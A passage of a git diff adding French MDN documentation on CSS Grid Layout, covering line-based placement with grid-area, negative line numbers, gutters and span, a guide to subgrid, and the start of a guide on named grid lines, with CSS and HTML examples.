+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 ;
+  grid-row: 1 ;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 ;
+}
+</pre>
+
+<p>{{EmbedLiveSample('New_Shorthand', '300', '330')}}</p>
+</div>
+
+<h2 id="La_propriété_grid-area">La propriété <code>grid-area</code></h2>
+
+<p>On peut aller plus loin et définir une zone pour chaque élément grâce à une seule propriété : {{cssxref("grid-area")}}. Cette propriété raccourcie permet d'utiliser les valeurs des propriétés suivantes (dans cet ordre) :</p>
+
+<ul>
+ <li><code>grid-row-start</code></li>
+ <li><code>grid-column-start</code></li>
+ <li><code>grid-row-end</code></li>
+ <li><code>grid-column-end</code></li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+  grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+  grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+  grid-area: 3 / 2 / 4 / 4;
+}
+</pre>
+
+<p>{{EmbedLiveSample('La_propriété_grid-area', '300', '330')}}</p>
+
+<p>L'ordre des valeurs utilisé pour <code>grid-area</code> peut sembler un peu étrange quand on connaît celui utilisé par les propriétés raccourcies pour les marges (<em>margin</em>) et le remplissage (<em>padding</em>). Cet ordre s'explique car les grilles CSS fonctionnent avec les différents modes d'écriture et on utilise des propriétés et des valeurs <em>logiques</em> plutôt que des propriétés et des valeurs <em>physiques</em>. Nous aborderons ce point dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture">un prochain article</a> mais il faut retenir ici que l'ordre des valeurs correspond aux directions logiques suivantes :</p>
+
+<ul>
+ <li><code>block-start</code></li>
+ <li><code>block-end</code></li>
+ <li><code>inline-start</code></li>
+ <li><code>inline-end</code></li>
+</ul>
+
+<p>On travaille ici en anglais ou en français, une langue qui s'écrit de gauche à droite. La ligne physique correspondant à la ligne logique <code>block-start</code> est donc la ligne en haut du conteneur, <code>block-end</code> correspond à la ligne en bas du conteneur, <code>inline-start</code> correspond à la colonne la plus à gauche (le point de départ de l'écriture pour une ligne) et <code>inline-end</code> correspond à la dernière colonne, celle qui est située à l'extrémité droite de la grille.</p>
+
+<p>Lorsqu'on définit une zone d'une grille grâce à la propriété <code>grid-area</code>, on commence par définir les lignes de « début » : <code>block-start</code> et <code>inline-start</code> puis les lignes de « fin » avec <code>block-end</code> et <code>inline-end</code>. Cela peut paraître étrange quand on est habitué à manipuler des propriétés physiques qui progressent dans le sens horaire : haut, droit, bas, gauche mais cet ordre paraît plus pertinent quand on considère que les sites web peuvent être multi-directionnels selon le mode d'écriture.</p>
+
+<h2 id="Compter_à_rebours">Compter à rebours</h2>
+
+<p>On peut également compter à l'envers, à partir des lignes de fin. Pour un document écrit en français, cela correspond à la colonne la plus à droite et à la ligne la plus basse. Pour faire référence à la dernière ligne, on peut utiliser la valeur <code>-1</code> et on peut compter à rebours au fur et à mesure de cette façon (ainsi, <code>-2</code> fait référence à l'avant-dernière ligne). Attention, ici, la dernière ligne correspond à la dernière ligne <em>explicite</em> de la grille, telle qu'elle est définie par <code>grid-template-columns</code> et <code>grid-template-rows</code>. Ce comptage ne prend pas en compte les lignes ou les colonnes qui sont ajoutées implicitement dans la grille.</p>
+
+<p>Dans le prochain exemple, on renverse la disposition de la grille en travaillant à partir du bas et de la droite.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;Un&lt;/div&gt;
+   &lt;div class="box2"&gt;Deux&lt;/div&gt;
+   &lt;div class="box3"&gt;Trois&lt;/div&gt;
+   &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: -1;
+  grid-column-end: -2;
+  grid-row-start: -1;
+  grid-row-end: -4;
+}
+.box2 {
+  grid-column-start: -3;
+  grid-column-end: -4;
+  grid-row-start: -1;
+  grid-row-end: -3;
+}
+.box3 {
+  grid-column-start: -2;
+  grid-column-end: -3;
+  grid-row-start: -1;
+  grid-row-end: -2;
+}
+.box4 {
+  grid-column-start: -2;
+  grid-column-end: -4;
+  grid-row-start: -3;
+  grid-row-end: -4;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Compter_à_rebours', '300', '330')}}</p>
+
+<h3 id="Étirer_un_élément_sur_la_grille">Étirer un élément sur la grille</h3>
+
+<p>Étant donné qu'on peut utiliser les numéros de lignes pour la première et la dernière, on peut facilement étirer un élément pour que celui-ci occupe toute la largeur et/ou toute la hauteur de la grille avec :</p>
+
+<pre class="brush: css">.item {
+  grid-column: 1 / -1;
+}
+</pre>
+
+<h2 id="Les_gouttières">Les gouttières</h2>
+
+<p>La spécification pour les grilles CSS permet également d'ajouter des espaces (« gouttières ») entre les colonnes et entre les lignes grâce aux propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}. Celles-ci permettent de définir un espace, de la même façon que la propriété {{cssxref("column-gap")}} permet d'obtenir un espace pour un mode de disposition avec plusieurs colonnes.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe <code>grid-</code> soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.</p>
+
+<p>Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec <code>grid-</code>.</p>
+</div>
+
+<p>Les gouttières apparaissent uniquement entre les pistes de la grille, elles n'ajoutent pas d'espace en haut, en bas, à gauche ou à droite du conteneur. Voyons comment ajouter des espaces sur l'exemple précédent grâce à ces propriétés :</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column: 1 ;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 ;
+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 ;
+  grid-row: 1 ;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 ;
+}
+.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-column-gap: 20px;
+  grid-row-gap: 1em;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Les_gouttières', '300', '350') }}</p>
+
+<h3 id="Les_propriétés_raccourcies_pour_les_gouttières">Les propriétés raccourcies pour les gouttières</h3>
+
+<p>Les deux propriétés que nous venons de voir peuvent être synthétisées grâce à la propriété raccourcie {{cssxref("grid-gap")}}. Si on fournit une seule valeur, celle-ci s'appliquera pour les espaces entre les colonnes et entre les lignes. Avec deux valeurs, la première sera utilisée pour <code>grid-row-gap</code> et la seconde pour <code>grid-column-gap</code>.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 1em 20px;
+}
+</pre>
+
+<p>Par rapport au positionnement sur les lignes, les gouttières agissent comme si la ligne avait gagné en largeur ou en hauteur. Tout ce qui commence sur une ligne commencera après cet espace et on ne peut placer aucun élément dans cette gouttière. Aussi, si on veut qu'une gouttière agisse comme une piste classique dans laquelle on peut placer des objets, il suffira de définir une nouvelle piste plutôt qu'une gouttière.</p>
+
+<h2 id="Utiliser_le_mot-clé_span">Utiliser le mot-clé <code>span</code></h2>
+
+<p>On a vu comment indiquer la ligne de début et la ligne de fin avec des numéros. Il est aussi possible de définir la taille d'un élément en indiquant le numéro de la ligne de départ et le nombre de pistes sur lequel s'étale l'élément.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+  grid-column: 3;
+  grid-row: 1 / span 2;
+}
+.box3 {
+  grid-column: 2;
+  grid-row: 1;
+}
+.box4 {
+  grid-column: 2 / span 2;
+  grid-row: 3;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_le_mot-clé_span', '300', '330')}}</p>
+
+<p>Le mot-clé <code>span</code> peut également être utilisé dans les valeurs des propriétés <code>grid-row-start</code>/<code>grid-row-end</code> et <code>grid-column-start</code>/<code>grid-column-end</code>. Les deux fragments de code qui suivent créeront la même zone. Dans le premier, on indique la ligne de début puis la ligne de fin en indiquant que l'élément occupe trois lignes. La zone commencera donc sur la première ligne et occupera 3 lignes, jusqu'à la ligne 4.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-row-start: 1;
+  grid-row-end: span 3;
+}
+</pre>
+
+<p>Dans le deuxième exemple, on indique la ligne de fin et le nombre de lignes occupées par l'élément avec <code>span 3</code>. Cela signifie que l'élément partira de la ligne 4 et occupera 3 lignes jusqu'à la ligne 1.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-row-start: span 3;
+  grid-row-end: 4;
+}
+</pre>
+
+<p>Pour vous familiariser avec le positionnement des éléments d'une grille en utilisant les lignes, vous pouvez essayer de construire certaines dispositions fréquemment utilisées en plaçant des éléments sur des grilles avec plus ou moins de pistes. Il faut garder à l'esprit que, lorsqu'on ne place pas explicitement tous les éléments, les éléments restants seront positionnés automatiquement. Cela peut tout à fait être l'objectif recherché mais si ce n'est pas le cas et que vous voyez un élément à un endroit inapproprié, vérifiez que vous lui avez affecté une position au sein de la grille.</p>
+
+<p>Il faut aussi se rappeler que lorsqu'on place les éléments explicitement sur la grille, ceux-ci peuvent se chevaucher. Cela permet d'obtenir certains effets mais attention aux erreurs lorsque c'est la mauvaise ligne de début ou de fin qui est indiquée. Pour régler ce problème, on peut utiliser <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">l'outil de mise en évidence de la grille CSS dans Firefox</a> pour analyser une grille compliquée.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/subgrid/index.html b/files/fr/web/css/css_grid_layout/subgrid/index.html
new file mode 100644
index 0000000000..10eee83ae2
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/subgrid/index.html
@@ -0,0 +1,118 @@
+---
+title: Subgrid
+slug: Web/CSS/CSS_Grid_Layout/Subgrid
+tags:
+  - CSS
+  - Guide
+  - grid
+  - subgrid
+translation_of: Web/CSS/CSS_Grid_Layout/Subgrid
+---
+<p>{{CSSRef}}</p>
+
+<p>La valeur <code><strong>subgrid</strong></code> a été ajoutée par le module de spécification <em>CSS Grid Layout</em> de niveau 2 pour les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}. Dans ce guide, nous verrons comment utiliser cette valeur ainsi que les cas d'utilisation ou patrons de conception qui peuvent en bénéficier.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cette fonctionnalité est uniquement disponible dans Firefox Nightly à des fins de tests. Vous pouvez télécharger <a href="https://www.mozilla.org/firefox/channel/desktop/#nightly">Firefox Nightly</a> afin de tester les exemples ci-après.</p>
+</div>
+
+<h2 id="Une_introduction_à_subgrid">Une introduction à <code>subgrid</code></h2>
+
+<p>Lorsqu'on ajoute <code>display: grid</code> à un conteneur, seuls les descendants directs deviennent des éléments de grille et peuvent être placés sur la grille ainsi créée. Les enfants de ces descendants seront disposés selon le flux habituel.</p>
+
+<p>On peut imbriquer des grilles en utilisant <code>display: grid</code> sur un descendant direct du conteneur de grille mais les grilles créées seront indépendantes. On ne pourra pas récupérer le dimensionnement des pistes de la grille parente pour l'utiliser dans la grille fille. Il est donc difficile d'aligner des objets de la grille fille sur la grille parente.</p>
+
+<p>Si on utilise la valeur <code>subgrid</code> pour <code>grid-template-columns</code> et/ou <code>grid-template-rows</code>, on pourra utiliser les pistes de la grille parente à l'intérieur plutôt que de créer des pistes indépendantes.</p>
+
+<p>Ainsi, si on utilise <code>grid-template-columns: subgrid</code> et que la grille imbriquée s'inscrit dans trois colonnes du parent, la grille imbriquée possèdera trois pistes, dimensionnées comme celles du parent. Les gouttières (<em>gaps</em>) sont également héritées mais il est possible de les surcharger avec une valeur {{cssxref("gap")}} différente. Les noms des lignes peuvent être passés du parent à la grille fille et la grille fille peut aussi déclarer ses propres noms de ligne.</p>
+
+<h2 id="Les_sous-grilles_pour_les_colonnes">Les sous-grilles pour les colonnes</h2>
+
+<p>Dans l'exemple qui suit, on a une grille décomposée en neufs colonnes de <code>1fr</code> chacune et avec quatre lignes qui mesurent au moins <code>100px</code>.</p>
+
+<p>On place un objet <code>.item</code> entre les colonnes 2 et 7 et entre les lignes 2 à 4. On indique que cet objet est lui-même une grille et on définit les pistes de colonnes comme sous-grille et on utilise des lignes normales. L'objet ainsi paramétré s'étalant sur 5 colonnes de la grille parente, cela signifie que la sous-grille possède cinq pistes pour les colonnes. On place alors un objet <code>.subitem</code> sur cette deuxième grille.</p>
+
+<p>Les lignes horizontales de cet exemple ne sont pas une sous-grille et se comportent comme pour une grille imbriquée « classique ». La zone de la grille parente s'étend donc afin de pouvoir stocker le contenu de cette grille imbriquée.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}</p>
+
+<p>On notera que la numérotation recommence à l'intérieur de la grille imbriquée. La colonne n°1 de la sous-grille correspond donc ici à la colonne n°2 de la grille parente. Autrement dit, les numéros des colonnes et des lignes de la grille parente ne sont pas héritées via la sous-grille. Cela permet une disposition modulaire et indépendante de la position quant à la grille parente.</p>
+
+<h2 id="Les_sous-grilles_pour_les_lignes">Les sous-grilles pour les lignes</h2>
+
+<p>Dans l'exemple ci-après, on a la même disposition mais on utilise cette fois <code>subgrid</code> pour la propriété <code>grid-template-rows</code> et on définit explicitement des pistes pour les colonnes. Les colonnes se comportent donc comme pour une grille imbriquée mais les lignes de la sous-grille sont liées à celles de la grille parente.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/rows.html", '100%', 1200)}}</p>
+
+<h2 id="Les_sous-grilles_sur_deux_dimensions">Les sous-grilles sur deux dimensions</h2>
+
+<p>Bien entendu, on peut définir une sous-grille pour les lignes et pour les colonnes en même temps. Cela signifie que la sous-grille sera couplée à la grille parente pour les deux axes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/both.html", '100%', 1200)}}</p>
+
+<h3 id="Absence_de_grille_implicite_pour_une_sous-grille">Absence de grille implicite pour une sous-grille</h3>
+
+<p>S'il vous faut placer automatiquement des objets et que vous ne connaissez pas leur quantité, faites attention à l'utilisation des sous-grilles : celles-ci empêcheront la création de lignes supplémentaires pour afficher le contenu.</p>
+
+<p>Pour mieux illustrer ce point, voyons le prochain exemple (on utilise le même parent et la même sous-grille qu'avant) où on essaie d'afficher 12 éléments automatiquement dans une grille qui contient uniquement 10 cellules. La sous-grille étant couplée sur les deux axes (lignes et colonnes), il n'y a aucune place restante pour les deux éléments restants et ils sont donc placés sur la dernière piste de la grille, comme indiqué dans la spécification.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/no-implicit.html", '100%', 1200)}}</p>
+
+<p>Si on retire la valeur sur <code>grid-template-rows</code>, on permet alors la création de pistes implicites. Ainsi, même si on n'aura pas l'alignement avec les pistes de la grille parente, on pourra avoir autant de lignes que nécessaire pour afficher l'ensemble du contenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/implicit.html", '100%', 1200)}}</p>
+
+<h2 id="Utilisation_des_gouttières_et_des_sous-grilles">Utilisation des gouttières et des sous-grilles</h2>
+
+<p>Si vous utilisez {{cssxref("gap")}}, {{cssxref("column-gap")}} ou {{cssxref("row-gap")}} sur la grille parente, celles-ci seront héritées par la sous-grille et vous aurez donc le même espacement entre les pistes dans la sous-grille et dans la grille parente. Dans certains cas, on peut cependant vouloir d'avoir des espacements différents ou aucun espacement. Pourcela, on pourra utiliser les propriétés <code>gap-*</code> sur le conteneur de grille de la sous-grille.</p>
+
+<p>Dans l'exempel qui suit, la grille parente définit des gouttières de 20 pixels pour les lignes et les colonnes et pour la sous-grille, on fixe la propriété <code>row-gap</code> à <code>0</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/gap.html", '100%', 1200)}}</p>
+
+<p>Si on inspecte le résultat avec l'inspecteur de grille de Firefox, on pourra voir que l'espace auparavant occupé par la gouttière est partagé entre les cellules et permet d'agrandir la zone pour le contenu.</p>
+
+<p><img alt="The smaller item displays in the gap as row-gap is set to 0 on the subgrid." src="https://mdn.mozillademos.org/files/16628/gap.png" style="height: 928px; width: 1312px;"></p>
+
+<h2 id="Les_lignes_nommées">Les lignes nommées</h2>
+
+<p>Lorsqu'on utilise les grilles CSS, on peut fournir des noms aux lignes et positionner des objets sur la grille par rapport à ces noms plutôt qu'en utilisant les numéros de lignes. Les noms des lignes de la grille parente sont passés à la sous-grille et on peut donc placer des objets relativement à ces noms. Dans l'exempel qui suit, on a des lignes intitulées <code>col-start</code> et <code>col-end</code> sur la grille parente et on utilise ces noms pour placer un objet à l'intérieur de la sous-grille.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/line-names.html", '100%', 1200)}}</p>
+
+<p>Il est aussi possible d'utiliser de nouveaux noms dans la sous-grille. Pour cela, on ajoutera une liste de noms entre crochets après le mot-clé <code>subgrid</code>. Si on disposait de 4 lignes sur la sous-grille, on pourrait alors écrire <code>grid-template-columns: subgrid [line1] [line2] [line3] [line4]</code>.</p>
+
+<p>Les noms indiquées sur la sous-grille sont ajoutés à ceux déjà portés par la grille parente et on peut donc utiliser les uns ou les autres. Dans l'exemple suivant, on illustre ce point en positionnant un objet en utilisant deux noms : l'un provenant de la grille parente et l'autre provenant de la grille fille.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/adding-line-names.html", '100%', 1200)}}</p>
+
+<h2 id="Utilisation_des_sous-grilles">Utilisation des sous-grilles</h2>
+
+<p>Exception faite qu'il faille veiller au contenu qui ne pourrait pas être affiché dans une sous-grille, cette dernière se comporte généralement comme une grille imbriquée. La différence principale réside dans le dimensionnement des pistes qui peut provenir de la grille parente. Toutefois (et comme avec une simple grille imbriquée), la taille du contenu placé sur la sous-grille peut modifier le dimensionnement des pistes (lorsqu'on utilise un dimensionnement qui s'adapte au contenu). Ainsi, les pistes dimensionnées automatiquement s'agrandiront pour contenir les objets de la grille parente et aussi ceux de la sous-grille.</p>
+
+<p>Une telle ressemblance entre <code>subgrid</code> et les grilles imbriquées peut faciliter le passage d'une méthode à l'autre. Ainsi, si on réalise qu'il faut une grille implicite sur les lignes, il suffit de retirer <code>subgrid</code> pour la propriété <code>grid-template-rows</code> (et éventuellement fournir une valeur à <code>grid-auto-rows</code> afin de contrôler le dimensionnement implicite).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid 2")}}</td>
+   <td>{{Spec2("CSS Grid 2")}}</td>
+   <td>Définition initiale des <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Sous-grille">sous-grilles (<em>subgrids</em>)</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Sous-grille">Les concepts de bases des grilles CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nommées_sur_une_grille/index.html b/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nommées_sur_une_grille/index.html
new file mode 100644
index 0000000000..d8d7e5cf83
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nommées_sur_une_grille/index.html
@@ -0,0 +1,431 @@
+---
+title: Utiliser des lignes nommées sur une grille
+slug: Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Dans les articles précédents, on a vu comment placer des objets sur les lignes définies par les pistes de la grilles. On a également vu comment placer des objets sur des zones nommées. Dans ce guide, nous allons combiner ces deux concepts et apprendre à placer les objets sur des lignes avec des noms. Le nommage des lignes peut s'avérer très utile mais un aspect encore plus intéressant consiste à combiner les noms et les tailles de pistes. Cela sera plus clair lorsque nous aurons vu les différents exemples.</p>
+
+<h2 id="Nommer_des_lignes_lorsqu'on_définit_une_grille">Nommer des lignes lorsqu'on définit une grille</h2>
+
+<p>Lorsqu'on définit une grille avec <code>grid-template-rows</code> et <code>grid-template-columns</code>, on peut donner des noms aux lignes (toutes ou seulement quelques unes). Pour illustrer ce point, nous allons reprendre la disposition utilisée dans l'article sur le placement sur les lignes. Cette fois, nous allons utiliser des lignes avec des noms.</p>
+
+<div id="example_named_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>Lorsqu'on définit la grille, on nomme les lignes entre crochets. Ces noms peuvent être n'importe quelle valeur. Ici, on définit un nom pour le début et la fin du conteneur, pour les lignes et pour les colonnes. On définit les blocs du centres (ici <code>content-start</code> et <code>content-end</code>), à la fois pour les lignes et pour les colonnes. Il n'est pas nécessaire de nommer toutes les lignes de la grille, on peut très bien uniquement nommer celles qui sont importantes.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+</pre>
+
+<p>Une fois que les lignes sont nommées, on peut utiliser ce nom plutôt que le numéro de ligne afin de placer les éléments.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('example_named_lines', '500', '330')}}</p>
+</div>
+
+<p>Tout le reste continue de fonctionner de la même façon. Vous pouvez aussi utiliser des noms et des numéros. Le nommage des lignes est utile lorsqu'on souhaite créer une disposition <em>responsive</em> où on redéfinit la grille plutôt que d'avoir à redéfinir la position du contenu en changeant les numéros de lignes dans les <em>media queries</em>.</p>
+
+<h3 id="Donner_plusieurs_noms_à_une_ligne">Donner plusieurs noms à une ligne</h3>
+
+<p>On peut donner plusieurs noms à une ligne (par exemple une ligne qui décrirait la fin de la barre latérale et le début du contenu principal). Pour cela, à l'intérieur des crochets, on déclare les différents noms, séparés par un espace : <code>[sidebar-end main-start]</code>. On peut ensuite désigner la ligne par l'un de ces noms.</p>
+
+<h2 id="Définir_des_zones_de_grilles_implicites_à_l'aide_de_lignes_nommées">Définir des zones de grilles implicites à l'aide de lignes nommées</h2>
+
+<p>Plus haut, nous avons vu qu'il était possible de donner n'importe quel nom à une ligne. D'un point de vue technique, ce nom est un <a href="https://drafts.csswg.org/css-values-4/#custom-idents">identifiant personnalisé (ou <em>custom ident</em>)</a>, c'est-à-dire un nom défini par l'auteur de la feuille de style. Pour être plus précis, ce nom ne doit pas reprendre les mots-clés qui apparaissent dans la spécification et ne doit pas être source de confusion (on évitera ainsi d'utiliser <code>span</code>). Les identifiants ne sont pas mis entre quotes.</p>
+
+<p>Bien qu'on puisse choisir n'importe quel nom (avec les contraintes qu'on vient d'énoncer), si on utilise les suffixes <code>-start</code> et <code>-end</code> pour désigner les lignes qui entourent une zone (comme dans l'exemple ci-avant), la grille créera automatiquement une zone nommée avec le nom utilisé devant ces suffixes. Si on reprend l'exemple précédent où on utilise <code>content-start</code> et <code>content-end</code> pour les lignes et pour les colonnes, cela signifie qu'on a, implicitement, une zone de grille intitulée <code>content</code> qu'on peut également manipuler</p>
+
+<div id="implicit_areas_from_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>On utilise les mêmes définitions qu'avant mais cette fois, nous allons placer un objet dans la zone intitulée <code>content</code>.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="thing"&gt;
+    Je suis dans une zone nommée content.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('implicit_areas_from_lines', '500', '330')}}</p>
+</div>
+
+<p>Il n'est pas nécessaire de définir l'emplacement de cette zone avec <code>grid-template-areas</code> car les lignes suffisent à créer la zone et à la placer.</p>
+
+<h2 id="Définir_des_lignes_implicites_à_l'aide_de_zones_nommées">Définir des lignes implicites à l'aide de zones nommées</h2>
+
